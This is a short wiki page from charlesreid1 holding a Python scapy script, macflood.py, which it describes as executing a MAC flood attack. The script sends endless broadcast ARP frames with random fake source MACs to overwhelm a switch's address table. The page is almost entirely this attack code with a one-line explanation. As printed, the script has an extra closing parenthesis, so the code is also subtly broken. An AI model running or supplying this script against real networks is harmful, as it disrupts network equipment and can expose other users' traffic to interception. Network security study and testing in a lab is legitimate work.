From charlesreid1

Revision as of 07:50, 25 August 2016 by Admin (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

The following Python script is from [1] and executes a MAC flood attack. This consists of sending a large number of ARP requests to a router, where the requests are crafted with fake MACs.

macflood.py:

from scapy.all import *

while 1:
    sendp( Ether( src=RandMAC(), dst="FF:FF:FF:FF:FF:FF" )/ARP( op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF" )/Padding( load="X"*18 )))


Flags